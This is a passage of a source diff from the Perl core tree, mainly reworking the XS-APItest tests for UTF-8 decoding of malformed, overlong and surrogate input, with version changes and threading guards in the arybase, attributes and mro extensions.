"isC9_STRICT_UTF8_CHAR() $testname: returns 0"); + } + else { + my $expected_ret = ( $testname =~ /surrogate/ + || $allowed_uv > 0x10FFFF) + ? 0 + : $length; + is($ret, $expected_ret, "isC9_STRICT_UTF8_CHAR() $testname:" + ." returns expected length: $expected_ret"); + $ret = test_isUTF8_CHAR_flags($bytes, $length, + $::UTF8_DISALLOW_ILLEGAL_C9_INTERCHANGE); + is($ret, $expected_ret, + "isUTF8_CHAR_flags('DISALLOW_ILLEGAL_C9_INTERCHANGE')" + . " acts like isC9_STRICT_UTF8_CHAR"); + } + is(scalar @warnings, 0, + "isC9_STRICT_UTF8_CHAR() and isUTF8_CHAR_flags $testname:" + . " generated no warnings") + or output_warnings(@warnings); + + # Test partial character handling, for each byte not a full character + for my $j (1.. $length - 1) { + + # Skip the test for the interaction between overflow and above-31 + # bit. It is really testing other things than the partial + # character tests, for which other tests in this file are + # sufficient + last if $testname =~ /overflow/; + + foreach my $disallow_flag (0, $disallow_flags) { + my $partial = substr($bytes, 0, $j); + my $ret_should_be; + my $comment; + if ($disallow_flag) { + $ret_should_be = 0; + $comment = "disallowed"; + if ($j < $needed_to_discern_len) { + $ret_should_be = 1; + $comment .= ", but need $needed_to_discern_len bytes" + . " to discern:"; } + } + else { + $ret_should_be = 1; + $comment = "allowed"; + } - # We only need to test the case where all warnings are - # enabled (type 0) to see if turning off the warning flag - # causes things to not be output. If those pass, then - # turning on some sub-category of warnings, or turning off - # warnings altogether are extremely likely to not output - # warnings either, given how the warnings subsystem is - # supposed to work, and this file assumes it does work. - next if $warning_type != 0 && ! $use_warn_flag; - - # The convention is that the 'got' flag is the same value - # as the disallow one. If this were violated, the tests - # here should start failing. - my $return_flag = $this_utf8n_flag_to_disallow; - - # If we aren't expecting warnings/disallow for this, turn - # on all the other flags. That makes sure that they all - # are independent of this flag, and so we don't need to - # test them individually. - my $this_warning_flags - = ($use_warn_flag) - ? $this_utf8n_flag_to_warn - : ($overlong_is_in_perl_extended_utf8 - ? ($utf8n_flag_to_warn_complement - & ~$::UTF8_WARN_PERL_EXTENDED) - : $utf8n_flag_to_warn_complement); - my $this_disallow_flags - = ($do_disallow) - ? $this_utf8n_flag_to_disallow - : ($overlong_is_in_perl_extended_utf8 - ? ($utf8n_flag_to_disallow_complement - & ~$::UTF8_DISALLOW_PERL_EXTENDED) - : $utf8n_flag_to_disallow_complement); - my $expected_uv = $allowed_uv; - my $this_uv_string = $uv_string; - - my @expected_return_flags - = @expected_malformation_return_flags; - my @expected_warnings; - push @expected_warnings, @expected_malformation_warnings - if $expect_warnings_for_malformed; + undef @warnings; + + $ret = test_is_utf8_valid_partial_char_flags($partial, $j, + $disallow_flag); + is($ret, $ret_should_be, + "$testname: is_utf8_valid_partial_char_flags(" + . display_bytes($partial) + . "), $comment: returns $ret_should_be"); + is(scalar @warnings, 0, + "$testname: is_utf8_valid_partial_char_flags()" + . " generated no warnings") + or output_warnings(@warnings); + } + } + } - # The overflow malformation is done differently than other - # malformations. It comes from manually typed tests in - # the test array, but it also is above Unicode and uses - # Perl extended UTF-8, so affects some of the flags being - # tested. We now make it be treated like one of the other - # generated malformations. + # This is more complicated than the malformations tested earlier, as there + # are several orthogonal variables involved. We test all the subclasses + # of utf8 warnings to verify they work with and without the utf8 class, + # and don't have effects on other sublass warnings + foreach my $warning ('utf8', 'surrogate', 'nonchar', 'non_unicode') { + foreach my $warn_flag (0, $warn_flags) { + foreach my $disallow_flag (0, $disallow_flags) { + foreach my $do_warning (0, 1) { + + # We try each of the above with various combinations of + # malformations that can occur on the same input sequence. + foreach my $short ("", "short") { + foreach my $unexpected_noncont ("", + "unexpected non-continuation") + { + foreach my $overlong ("", "overlong") { + + # If we're already at the longest possible, we + # can't create an overlong (which would be longer) + # can't handle anything larger. + next if $overlong && $expected_len >= $::max_bytes; + + my @malformations; + my @expected_errors; + push @malformations, $short if $short; + push @malformations, $unexpected_noncont + if $unexpected_noncont; + push @malformations, $overlong if $overlong; + + # The overflow malformation test in the input + # array is coerced into being treated like one of + # the others. if ($will_overflow) { - - # An overflow is (way) above Unicode, and overrides - # everything else. - $expect_regular_warnings = 0; - - # Earlier, we tentatively calculated whether this - # should emit a message or not. It's tentative - # because, even if we ordinarily would output it, we - # don't if malformations are allowed -- except an - # overflow is also a SUPER and PERL_EXTENDED, and if - # warnings for those are enabled, the overflow - # warning does get raised. - if ( $expect_warnings_for_overflow - && ( $malformed_allow_type == 0 - || ( $this_warning_flags - & ($::UTF8_WARN_SUPER - |$::UTF8_WARN_PERL_EXTENDED)))) - { - push @expected_warnings, $overflow_msg_pattern; - } + push @malformations, 'overflow'; + push @expected_errors, $::UTF8_GOT_OVERFLOW; } - # It may be that the malformations have shortened the - # amount of input we look at so much that we can't tell - # what the category the code point was in. Otherwise, set - # up the expected return flags based on the warnings and - # disallowments. - if ($this_expected_len < $this_needed_to_discern_len) { - $expect_regular_warnings = 0; - } - elsif ( ($this_warning_flags & $this_utf8n_flag_to_warn) - || ( $this_disallow_flags - & $this_utf8n_flag_to_disallow)) - { - push @expected_return_flags, $return_flag; - } - - # Finish setting up the expected warning. - if ($expect_regular_warnings) { - - # So far the array contains warnings generated by - # malformations. Add the expected regular one. - unshift @expected_warnings, $this_cp_message_qr; - - # But it may need to be modified, because either of - # these malformations means we can't determine the - # expected code point. - if ( $short || $unexpected_noncont - || $dont_use_overlong_cp) - { - my $first_byte = substr($this_bytes, 0, 1); - $expected_warnings[0] = display_bytes( - substr($this_bytes, 0, $this_expected_len)); - $expected_warnings[0] - = qr/[Aa]\Qny UTF-8 sequence that starts with\E - \Q $expected_warnings[0]\E - \Q $this_non_cp_trailing_text\E/x; - } - } - - # Is effectively disallowed if we've set up a malformation - # (unless malformations are allowed), even if the flag - # indicates it is allowed. Fix up test name to indicate - # this as well - my $disallowed = 0; - if ( $this_disallow_flags & $this_utf8n_flag_to_disallow - && $this_expected_len >= $this_needed_to_discern_len) - { - $disallowed = 1; - } + my $malformations_name = join "/", @malformations; + $malformations_name .= " malformation" + if $malformations_name; + $malformations_name .= "s" if @malformations > 1; + my $this_bytes = $bytes; + my $this_length = $length; + my $expected_uv = $allowed_uv; + my $this_expected_len = $expected_len; + my $this_needed_to_discern_len = $needed_to_discern_len; if ($malformations_name) { - if ($malformed_allow_type == 0) { - $disallowed = 1; + $expected_uv = 0; + + # Coerce the input into the desired + # malformation + if ($malformations_name =~ /overlong/) { + + # For an overlong, we convert the original + # start byte into a continuation byte with + # the same data bits as originally. ... + substr($this_bytes, 0, 1) + = start_byte_to_cont(substr($this_bytes, + 0, 1)); + + # ... Then we prepend it with a known + # overlong sequence. This should evaluate + # to the exact same code point as the + # original. + $this_bytes + = I8_to_native("\xff") + . (I8_to_native(chr $::first_continuation) + x ( $::max_bytes - 1 - length($this_bytes))) + . $this_bytes; + $this_length = length($this_bytes); + $this_needed_to_discern_len + = $::max_bytes - ($this_expected_len + - $this_needed_to_discern_len); + $this_expected_len = $::max_bytes; + push @expected_errors, $::UTF8_GOT_LONG; } - elsif ($malformed_allow_type == 1) { + if ($malformations_name =~ /short/) { - # Even if allowed, the malformation returns the - # REPLACEMENT CHARACTER. - $expected_uv = 0xFFFD; - $this_uv_string = "0xFFFD" + # Just tell the test to not look far + # enough into the input. + $this_length--; + $this_expected_len--; + push @expected_errors, $::UTF8_GOT_SHORT; + } + if ($malformations_name + =~ /non-continuation/) + { + # Change the final continuation byte into + # a non one. + my $pos = ($short) ? -2 : -1; + substr($this_bytes, $pos, 1) = '?'; + $this_expected_len--; + push @expected_errors, + $::UTF8_GOT_NON_CONTINUATION; } } - my $this_name = "$utf8_func() $testname: "; - my @scratch_expected_return_flags = @expected_return_flags; - if (! $initially_malformed) { - $this_name .= ($disallowed) - ? 'disallowed, ' - : 'allowed, '; - } - $this_name .= "$eval_warn"; - $this_name .= ", " . (( $this_warning_flags - & $this_utf8n_flag_to_warn) - ? 'with flag for raising warnings' - : 'no flag for raising warnings'); - $this_name .= $malformations_name; + my $eval_warn = $do_warning + ? "use warnings '$warning'" + : $warning eq "utf8" + ? "no warnings 'utf8'" + : ( "use warnings 'utf8';" + . " no warnings '$warning'"); + + # Is effectively disallowed if we've set up a + # malformation, even if the flag indicates it is + # allowed. Fix up test name to indicate this as + # well + my $disallowed = $disallow_flag + || $malformations_name; + my $this_name = "utf8n_to_uvchr_error() $testname: " + . (($disallow_flag) + ? 'disallowed' + : $disallowed + ? $disallowed + : 'allowed'); + $this_name .= ", $eval_warn"; + $this_name .= ", " . (($warn_flag) + ? 'with warning flag' + : 'no warning flag'); - # Do the actual test using an eval - undef @warnings_gotten; + undef @warnings; my $ret_ref; - my $this_flags - = $allow_flags|$this_warning_flags|$this_disallow_flags; + my $display_bytes = display_bytes($this_bytes); + my $call = " Call was: $eval_warn; \$ret_ref" + . " = test_utf8n_to_uvchr_error(" + . "'$display_bytes', $this_length," + . "$warn_flag" + . "|$disallow_flag)"; my $eval_text = "$eval_warn; \$ret_ref" - . " = test_$utf8_func(" - . "'$this_bytes', $this_length, $this_flags)"; + . " = test_utf8n_to_uvchr_error(" + . "'$this_bytes'," + . " $this_length, $warn_flag" + . "|$disallow_flag)"; eval "$eval_text"; - if (! ok ($@ eq "", "$this_name: eval succeeded")) + if (! ok ("$@ eq ''", + "$this_name: eval succeeded")) { - diag "\$@='$@'; call was: " - . utf8n_display_call($eval_text); + diag "\$!='$!'; eval'd=\"$call\""; next; } - if ($disallowed) { - is($ret_ref->[0], 0, " And returns 0") - or diag "Call was: " . utf8n_display_call($eval_text); + is($ret_ref->[0], 0, "$this_name: Returns 0") + or diag $call; } else { is($ret_ref->[0], $expected_uv, - " And returns expected uv: " - . $this_uv_string) - or diag "Call was: " . utf8n_display_call($eval_text); + "$this_name: Returns expected uv: " + . sprintf("0x%04X", $expected_uv)) + or diag $call; } is($ret_ref->[1], $this_expected_len, - " And returns expected length:" + "$this_name: Returns expected length:" . " $this_expected_len") - or diag "Call was: " . utf8n_display_call($eval_text); + or diag $call; - my $returned_flags = $ret_ref->[2]; + my $errors = $ret_ref->[2]; - for (my $i = @scratch_expected_return_flags - 1; - $i >= 0; - $i--) - { - if ($scratch_expected_return_flags[$i] & $returned_flags) - { - if ($scratch_expected_return_flags[$i] - == $::UTF8_GOT_PERL_EXTENDED) - { - pass(" Expected and got return flag for" - . " PERL_EXTENDED"); - } - # The first entries in this are - # malformations - elsif ($i > @malformation_names - 1) { - pass(" Expected and got return flag" - . " for " . $controlling_warning_category); - } - else { - pass(" Expected and got return flag for " - . $malformation_names[$i] - . " malformation"); - } - $returned_flags - &= ~$scratch_expected_return_flags[$i]; - splice @scratch_expected_return_flags, $i, 1; - } + for (my $i = @expected_errors - 1; $i >= 0; $i--) { + if (ok($expected_errors[$i] & $errors, + "Expected and got error bit return" + . " for $malformations[$i] malformation")) + { + $errors &= ~$expected_errors[$i]; + } + splice @expected_errors, $i, 1; } + is(scalar @expected_errors, 0, + "Got all the expected malformation errors") + or diag Dumper \@expected_errors; - if (! is($returned_flags, 0, - " Got no unexpected return flags")) + if ( $this_expected_len >= $this_needed_to_discern_len + && ($warn_flag || $disallow_flag)) { - diag "The unexpected flags gotten were: " - . (flags_to_text($returned_flags, - \@utf8n_flags_to_text) - # We strip off any prefixes from the flag - # names - =~ s/ \b [A-Z] _ //xgr); - diag "Call was: " . utf8n_display_call($eval_text); + is($errors, $expected_error_flags, + "Got the correct error flag") + or diag $call; } - - if (! is (scalar @scratch_expected_return_flags, 0, - " Got all expected return flags")) - { - diag "The expected flags not gotten were: " - . (flags_to_text(eval join("|", - @scratch_expected_return_flags), - \@utf8n_flags_to_text) - # We strip off any prefixes from the flag - # names - =~ s/ \b [A-Z] _ //xgr); - diag "Call was: " . utf8n_display_call($eval_text); + else { + is($errors, 0, "Got no other error flag"); } - if ($which_func) { - my @returned_warnings; - for my $element_ref (@{$ret_ref->[3]}) { - push @returned_warnings, $element_ref->{'text'}; - my $text = $element_ref->{'text'}; - my $flag = $element_ref->{'flag_bit'}; - my $category = $element_ref->{'warning_category'}; + if (@malformations) { + if (! $do_warning && $warning eq 'utf8') { + goto no_warnings_expected; + } - if (! ok(($flag & ($flag-1)) == 0, - "flag for returned msg is a single bit")) - { - diag sprintf("flags are %x; msg=%s", $flag, $text); - } - else { - if (grep { $_ == $flag } @expected_return_flags) { - pass("flag for returned msg is expected"); - } - else { - fail("flag (" - . flags_to_text($flag, \@utf8n_flags_to_text) - . ") for returned msg is expected"); - } + # Check that each malformation generates a + # warning, removing that warning if found + MALFORMATION: + foreach my $malformation (@malformations) { + foreach (my $i = 0; $i < @warnings; $i++) { + if ($warnings[$i] =~ /$malformation/) { + pass("Expected and got" + . "'$malformation' warning"); + splice @warnings, $i, 1; + next MALFORMATION; + } } + fail("Expected '$malformation' warning" + . " but didn't get it"); - # In perl space, don't know the category numbers - isnt($category, 0, - "returned category for msg isn't 0"); } - - ok(@warnings_gotten == 0, "$utf8_func raised no warnings;" - . " the next tests are for ones in the returned" - . " variable") - or diag join "\n", "The unexpected warnings were:", - @warnings_gotten; - @warnings_gotten = @returned_warnings; } - do_warnings_test(@expected_warnings) - or diag "Call was: " . utf8n_display_call($eval_text); - undef @warnings_gotten; + # Any overflow will override any super or above-31 + # warnings. + goto no_warnings_expected + if $will_overflow || $this_expected_len + < $this_needed_to_discern_len; - # Check CHECK_ONLY results when the input is - # disallowed. Do this when actually disallowed, - # not just when the $this_disallow_flags is set. We only - # test once utf8n_to_uvchr_msgs() with this. - if ( $disallowed - && ($which_func == 0 || ! $tested_CHECK_ONLY)) + if ( ! $do_warning + && ( $warning eq 'utf8' + || $warning eq $category)) { - $tested_CHECK_ONLY = 1; - my $this_flags = $this_disallow_flags|$::UTF8_CHECK_ONLY; - my $eval_text = "use warnings; \$ret_ref =" - . " test_$utf8_func('" - . "$this_bytes', $this_length," - . " $this_flags)"; - eval $eval_text; - if (! ok ($@ eq "", - " And eval succeeded with CHECK_ONLY")) + goto no_warnings_expected; + } + elsif ($warn_flag) { + if (is(scalar @warnings, 1, + "$this_name: Got a single warning ")) { - diag "\$@='$@'; Call was: " - . utf8n_display_call($eval_text); - next; + like($warnings[0], $message, + "$this_name: Got expected warning") + or diag $call; + } + else { + diag $call; + if (scalar @warnings) { + output_warnings(@warnings); + } + } + } + else { + no_warnings_expected: + unless (is(scalar @warnings, 0, + "$this_name: Got no warnings")) + { + diag $call; + output_warnings(@warnings); } - is($ret_ref->[0], 0, " CHECK_ONLY: Returns 0") - or diag "Call was: " . utf8n_display_call($eval_text); + } + + # Check CHECK_ONLY results when the input is + # disallowed. Do this when actually disallowed, + # not just when the $disallow_flag is set + if ($disallowed) { + undef @warnings; + $ret_ref = test_utf8n_to_uvchr_error( + $this_bytes, $this_length, + $disallow_flag|$::UTF8_CHECK_ONLY); + is($ret_ref->[0], 0, + "$this_name, CHECK_ONLY: Returns 0") + or diag $call; is($ret_ref->[1], -1, - " CHECK_ONLY: returns -1 for length") - or diag "Call was: " . utf8n_display_call($eval_text); - if (! is(scalar @warnings_gotten, 0, - " CHECK_ONLY: no warnings generated")) + "$this_name: CHECK_ONLY: returns -1 for length") + or diag $call; + if (! is(scalar @warnings, 0, + "$this_name, CHECK_ONLY: no warnings" + . " generated")) { - diag "Call was: " . utf8n_display_call($eval_text); - output_warnings(@warnings_gotten); + diag $call; + output_warnings(@warnings); } } # Now repeat some of the above, but for # uvchr_to_utf8_flags(). Since this comes from an - # existing code point, it hasn't overflowed, and isn't - # malformed. - next if @malformation_names; - - my $uvchr_func = ($which_func) - ? 'uvchr_to_utf8_flags_msgs' - : 'uvchr_to_utf8_flags'; - - $this_warning_flags = ($use_warn_flag) - ? $this_uvchr_flag_to_warn - : 0; - $this_disallow_flags = ($do_disallow) - ? $this_uvchr_flag_to_disallow - : 0; + # existing code point, it hasn't overflowed, and + # isn't malformed. + next if @malformations; + + # The warning and disallow flags passed in are for + # utf8n_to_uvchr_error(). Convert them for + # uvchr_to_utf8_flags(). + my $uvchr_warn_flag = 0; + my $uvchr_disallow_flag = 0; + if ($warn_flag) { + if ($warn_flag == $::UTF8_WARN_SURROGATE) { + $uvchr_warn_flag = $::UNICODE_WARN_SURROGATE + } + elsif ($warn_flag == $::UTF8_WARN_NONCHAR) { + $uvchr_warn_flag = $::UNICODE_WARN_NONCHAR + } + elsif ($warn_flag == $::UTF8_WARN_SUPER) { + $uvchr_warn_flag = $::UNICODE_WARN_SUPER + } + elsif ($warn_flag == $::UTF8_WARN_ABOVE_31_BIT) { + $uvchr_warn_flag + = $::UNICODE_WARN_ABOVE_31_BIT; + } + else { + fail(sprintf "Unexpected warn flag: %x", + $warn_flag); + next; + } + } + if ($disallow_flag) { + if ($disallow_flag == $::UTF8_DISALLOW_SURROGATE) + { + $uvchr_disallow_flag + = $::UNICODE_DISALLOW_SURROGATE; + } + elsif ($disallow_flag == $::UTF8_DISALLOW_NONCHAR) + { + $uvchr_disallow_flag + = $::UNICODE_DISALLOW_NONCHAR; + } + elsif ($disallow_flag == $::UTF8_DISALLOW_SUPER) { + $uvchr_disallow_flag + = $::UNICODE_DISALLOW_SUPER; + } + elsif ($disallow_flag + == $::UTF8_DISALLOW_ABOVE_31_BIT) + { + $uvchr_disallow_flag = + $::UNICODE_DISALLOW_ABOVE_31_BIT; + } + else { + fail(sprintf "Unexpected disallow flag: %x", + $disallow_flag); + next; + } + } - $disallowed = $this_disallow_flags - & $this_uvchr_flag_to_disallow; - $this_name .= ", " . (( $this_warning_flags - & $this_utf8n_flag_to_warn) - ? 'with flag for raising warnings' - : 'no flag for raising warnings'); + $disallowed = $uvchr_disallow_flag; - $this_name = "$uvchr_func() $testname: " - . (($disallowed) - ? 'disallowed' - : 'allowed'); + $this_name = "uvchr_to_utf8_flags() $testname: " + . (($uvchr_disallow_flag) + ? 'disallowed' + : ($disallowed) + ? 'ABOVE_31_BIT allowed' + : 'allowed'); $this_name .= ", $eval_warn"; - $this_name .= ", " . (( $this_warning_flags - & $this_uvchr_flag_to_warn) + $this_name .= ", " . (($uvchr_warn_flag) ? 'with warning flag' : 'no warning flag'); - undef @warnings_gotten; + undef @warnings; my $ret; - $this_flags = $this_warning_flags|$this_disallow_flags; + my $warn_flag = sprintf "0x%x", $uvchr_warn_flag; + my $disallow_flag = sprintf "0x%x", + $uvchr_disallow_flag; + $call = sprintf(" Call was: $eval_warn; \$ret" + . " = test_uvchr_to_utf8_flags(" + . " 0x%x, $warn_flag|$disallow_flag)", + $allowed_uv); $eval_text = "$eval_warn; \$ret =" - . " test_$uvchr_func(" - . "$allowed_uv, $this_flags)"; + . " test_uvchr_to_utf8_flags(" + . "$allowed_uv, $warn_flag|" + . "$disallow_flag)"; eval "$eval_text"; - if (! ok ($@ eq "", "$this_name: eval succeeded")) + if (! ok ("$@ eq ''", "$this_name: eval succeeded")) { - diag "\$@='$@'; call was: " - . uvchr_display_call($eval_text); + diag "\$!='$!'; eval'd=\"$eval_text\""; next; } - - if ($which_func) { - if (defined $ret->[1]) { - my @returned_warnings; - push @returned_warnings, $ret->[1]{'text'}; - my $text = $ret->[1]{'text'}; - my $flag = $ret->[1]{'flag_bit'}; - my $category = $ret->[1]{'warning_category'}; - - if (! ok(($flag & ($flag-1)) == 0, - "flag for returned msg is a single bit")) - { - diag sprintf("flags are %x; msg=%s", $flag, $text); - } - else { - if ($flag & $this_uvchr_flag_to_disallow) { - pass("flag for returned msg is expected"); - } - else { - fail("flag (" - . flags_to_text($flag, \@utf8n_flags_to_text) - . ") for returned msg is expected"); - } - } - - # In perl space, don't know the category numbers - isnt($category, 0, - "returned category for msg isn't 0"); - - ok(@warnings_gotten == 0, "$uvchr_func raised no warnings;" - . " the next tests are for ones in the returned" - . " variable") - or diag join "\n", "The unexpected warnings were:", - @warnings_gotten; - @warnings_gotten = @returned_warnings; - } - - $ret = $ret->[0]; - } - if ($disallowed) { - is($ret, undef, " And returns undef") - or diag "Call was: " . uvchr_display_call($eval_text); + is($ret, undef, "$this_name: Returns undef") + or diag $call; } else { - is($ret, $this_bytes, " And returns expected string") - or diag "Call was: " . uvchr_display_call($eval_text); + is($ret, $bytes, "$this_name: Returns expected string") + or diag $call; + } + if (! $do_warning + && ($warning eq 'utf8' || $warning eq $category)) + { + if (!is(scalar @warnings, 0, + "$this_name: No warnings generated")) + { + diag $call; + output_warnings(@warnings); + } + } + elsif ( $uvchr_warn_flag + && ( $warning eq 'utf8' + || $warning eq $category)) + { + if (is(scalar @warnings, 1, + "$this_name: Got a single warning ")) + { + like($warnings[0], $message, + "$this_name: Got expected warning") + or diag $call; + } + else { + diag $call; + output_warnings(@warnings) + if scalar @warnings; + } } - - do_warnings_test(@expected_warnings) - or diag "Call was: " . uvchr_display_call($eval_text); } } } @@ -1874,7 +1054,6 @@ (@) } } } - } } done_testing; diff --git a/ext/XS-APItest/t/xsub_h.t b/ext/XS-APItest/t/xsub_h.t index a7e2541e425f..e76313052595 100644 --- a/ext/XS-APItest/t/xsub_h.t +++ b/ext/XS-APItest/t/xsub_h.t @@ -5,7 +5,7 @@ use Test::More; BEGIN { use_ok('XS::APItest') }; -our ($XS_VERSION, $VERSION); +use vars qw($XS_VERSION $VERSION); # This is what the code expects my $real_version = $XS::APItest::VERSION; diff --git a/ext/XS-APItest/typemap b/ext/XS-APItest/typemap index f4c401eba2c3..ed86a374f101 100644 --- a/ext/XS-APItest/typemap +++ b/ext/XS-APItest/typemap @@ -1,7 +1,6 @@ XS::APItest::PtrTable T_PTROBJ const WCHAR * WPV -U8 * T_PV INPUT diff --git a/ext/XS-Typemap/Typemap.pm b/ext/XS-Typemap/Typemap.pm index 9871415319b5..7877b4a3abe9 100644 --- a/ext/XS-Typemap/Typemap.pm +++ b/ext/XS-Typemap/Typemap.pm @@ -34,9 +34,11 @@ to the test script. use parent qw/ Exporter /; require XSLoader; -our $VERSION = '0.16'; +use vars qw/ $VERSION @EXPORT /; -our @EXPORT = (qw/ +$VERSION = '0.15'; + +@EXPORT = (qw/ T_SV T_SVREF T_SVREF_REFCOUNT_FIXED diff --git a/ext/arybase/arybase.pm b/ext/arybase/arybase.pm index 5e34e29e8d8a..64efe3e5d679 100644 --- a/ext/arybase/arybase.pm +++ b/ext/arybase/arybase.pm @@ -1,6 +1,6 @@ package arybase; -our $VERSION = "0.15"; +our $VERSION = "0.12"; require XSLoader; XSLoader::load(); # This returns true, which makes require happy. diff --git a/ext/arybase/arybase.xs b/ext/arybase/arybase.xs index 6c12d0515fa6..880bbe3a99f9 100644 --- a/ext/arybase/arybase.xs +++ b/ext/arybase/arybase.xs @@ -26,7 +26,9 @@ STATIC perl_mutex ab_op_map_mutex; STATIC const ab_op_info *ab_map_fetch(const OP *o, ab_op_info *oi) { const ab_op_info *val; +#ifdef USE_ITHREADS MUTEX_LOCK(&ab_op_map_mutex); +#endif val = (ab_op_info *)ptable_fetch(ab_op_map, o); if (val) { @@ -34,7 +36,9 @@ STATIC const ab_op_info *ab_map_fetch(const OP *o, ab_op_info *oi) { val = oi; } +#ifdef USE_ITHREADS MUTEX_UNLOCK(&ab_op_map_mutex); +#endif return val; } @@ -61,20 +65,28 @@ STATIC void ab_map_store( { #define ab_map_store(O, PP, B) ab_map_store(aPTBLMS_ (O),(PP),(B)) +#ifdef USE_ITHREADS MUTEX_LOCK(&ab_op_map_mutex); +#endif ab_map_store_locked(o, old_pp, base); +#ifdef USE_ITHREADS MUTEX_UNLOCK(&ab_op_map_mutex); +#endif } STATIC void ab_map_delete(pTHX_ const OP *o) { #define ab_map_delete(O) ab_map_delete(aTHX_ (O)) +#ifdef USE_ITHREADS MUTEX_LOCK(&ab_op_map_mutex); +#endif ptable_map_store(ab_op_map, o, NULL); +#ifdef USE_ITHREADS MUTEX_UNLOCK(&ab_op_map_mutex); +#endif } /* ... $[ Implementation .............................................. */ @@ -153,15 +165,11 @@ STATIC void ab_process_assignment(pTHX_ OP *left, OP *right) { #define ab_process_assignment(l, r) \ ab_process_assignment(aTHX_ (l), (r)) if (ab_op_is_dollar_bracket(left) && right->op_type == OP_CONST) { - IV base = SvIV(cSVOPx_sv(right)); - set_arybase_to(base); + set_arybase_to(SvIV(cSVOPx_sv(right))); ab_neuter_dollar_bracket(left); - if (base) { - Perl_ck_warner_d(aTHX_ - packWARN(WARN_DEPRECATED), "Use of assignment to $[ is deprecated" - ", and will be fatal in Perl 5.30" - ); - } + Perl_ck_warner_d(aTHX_ + packWARN(WARN_DEPRECATED), "Use of assignment to $[ is deprecated" + ); } } @@ -404,7 +412,9 @@ BOOT: { if (!ab_initialized++) { ab_op_map = ptable_new(); +#ifdef USE_ITHREADS MUTEX_INIT(&ab_op_map_mutex); +#endif #define check(uc,lc,ck) \ wrap_op_checker(OP_##uc, ab_ck_##ck, &ab_old_ck_##lc) check(SASSIGN, sassign, sassign); diff --git a/ext/attributes/attributes.pm b/ext/attributes/attributes.pm index c60f9406b994..7eb8e30ed886 100644 --- a/ext/attributes/attributes.pm +++ b/ext/attributes/attributes.pm @@ -1,6 +1,6 @@ package attributes; -our $VERSION = 0.33; +our $VERSION = 0.29; @EXPORT_OK = qw(get reftype); @EXPORT = (); @@ -18,9 +18,10 @@ sub carp { goto &Carp::carp; } -# Hash of SV type (CODE, SCALAR, etc.) to regex matching deprecated -# attributes for that type. my %deprecated; +$deprecated{CODE} = qr/\A-?(locked)\z/; +$deprecated{ARRAY} = $deprecated{HASH} = $deprecated{SCALAR} + = qr/\A-?(unique)\z/; my %msg = ( lvalue => 'lvalue attribute applied to already-defined subroutine', @@ -30,7 +31,7 @@ my %msg = ( sub _modify_attrs_and_deprecate { my $svtype = shift; - # After we've removed a deprecated attribute from the XS code, we need to + # Now that we've removed handling of locked from the XS code, we need to # remove it here, else it ends up in @badattrs. (If we do the deprecation in # XS, we can't control the warning based on *our* caller's lexical settings, # and the warned line is in this package) @@ -255,6 +256,12 @@ C is indistinguishable from C. If illegalproto warnings are enabled, the prototype declared inside this attribute will be sanity checked at compile time. +=item locked + +The "locked" attribute is deprecated, and has no effect in 5.10.0 and later. +It was used as part of the now-removed "Perl 5.005 threads". It will +disappear in Perl 5.28, after which its use will be fatal. + =item const This experimental attribute, introduced in Perl 5.22, only applies to @@ -273,6 +280,14 @@ The following are the built-in attributes for variables: Indicates that the referenced variable can be shared across different threads when used in conjunction with the L and L modules. +=item unique + +The "unique" attribute is deprecated, and has no effect in 5.10.0 and later. +It used to indicate that a single copy of an C variable was to be used by +all interpreters should the program happen to be running in a +multi-interpreter environment. It will disappear in 5.28, after which its +use will be fatal. + =back =head2 Available Subroutines diff --git a/ext/attributes/attributes.xs b/ext/attributes/attributes.xs index 07b7b8dfe822..287ac347d939 100644 --- a/ext/attributes/attributes.xs +++ b/ext/attributes/attributes.xs @@ -15,8 +15,6 @@ * [p.597 of _The Lord of the Rings_, III/xi: "The Palantír"] */ -#define PERL_EXT - #define PERL_NO_GET_CONTEXT #include "EXTERN.h" @@ -46,7 +44,7 @@ modify_SV_attributes(pTHX_ SV *sv, SV **retlist, SV **attrlist, int numattrs) case SVt_PVCV: switch ((int)len) { case 5: - if (memEQs(name, 5, "const")) { + if (_memEQs(name, "const")) { if (negated) CvANONCONST_off(sv); else { @@ -62,11 +60,11 @@ modify_SV_attributes(pTHX_ SV *sv, SV **retlist, SV **attrlist, int numattrs) case 6: switch (name[3]) { case 'l': - if (memEQs(name, 6, "lvalue")) { + if (_memEQs(name, "lvalue")) { bool warn = !CvISXSUB(MUTABLE_CV(sv)) && CvROOT(MUTABLE_CV(sv)) - && cBOOL(CvLVALUE(MUTABLE_CV(sv))) == negated; + && !CvLVALUE(MUTABLE_CV(sv)) != negated; if (negated) CvFLAGS(MUTABLE_CV(sv)) &= ~CVf_LVALUE; else @@ -76,7 +74,7 @@ modify_SV_attributes(pTHX_ SV *sv, SV **retlist, SV **attrlist, int numattrs) } break; case 'h': - if (memEQs(name, 6, "method")) { + if (_memEQs(name, "method")) { if (negated) CvFLAGS(MUTABLE_CV(sv)) &= ~CVf_METHOD; else @@ -87,9 +85,8 @@ modify_SV_attributes(pTHX_ SV *sv, SV **retlist, SV **attrlist, int numattrs) } break; default: - if (memBEGINPs(name, len, "prototype(")) { - const STRLEN proto_len = sizeof("prototype(") - 1; - SV * proto = newSVpvn(name + proto_len, len - proto_len - 1); + if (len > 10 && _memEQs(name, "prototype(")) { + SV * proto = newSVpvn(name+10,len-11); HEK *const hek = CvNAME_HEK((CV *)sv); SV *subname; if (name[len-1] != ')') @@ -99,7 +96,7 @@ modify_SV_attributes(pTHX_ SV *sv, SV **retlist, SV **attrlist, int numattrs) else subname=(SV *)CvGV((const CV *)sv); if (ckWARN(WARN_ILLEGALPROTO)) - Perl_validate_proto(aTHX_ subname, proto, TRUE, 0); + Perl_validate_proto(aTHX_ subname, proto, TRUE); Perl_cv_ckproto_len_flags(aTHX_ (const CV *)sv, (const GV *)subname, name+10, diff --git a/ext/mro/mro.pm b/ext/mro/mro.pm index 4a7685cc0428..92e8ca38cb55 100644 --- a/ext/mro/mro.pm +++ b/ext/mro/mro.pm @@ -12,10 +12,7 @@ use warnings; # mro.pm versions < 1.00 reserved for MRO::Compat # for partial back-compat to 5.[68].x -our $VERSION = '1.22'; - -require XSLoader; -XSLoader::load('mro'); +our $VERSION = '1.20'; sub import { mro::set_mro(scalar(caller), $_[1]) if $_[1]; @@ -40,6 +37,9 @@ sub method { return; } +require XSLoader; +XSLoader::load('mro'); + 1; __END__ @@ -308,7 +308,7 @@ works (like C); =over 4 -=item L +=item L =back diff --git a/ext/re/re.pm b/ext/re/re.pm index 0b52e1d7d7ee..c416b94c28ff 100644 --- a/ext/re/re.pm +++ b/ext/re/re.pm @@ -4,7 +4,7 @@ 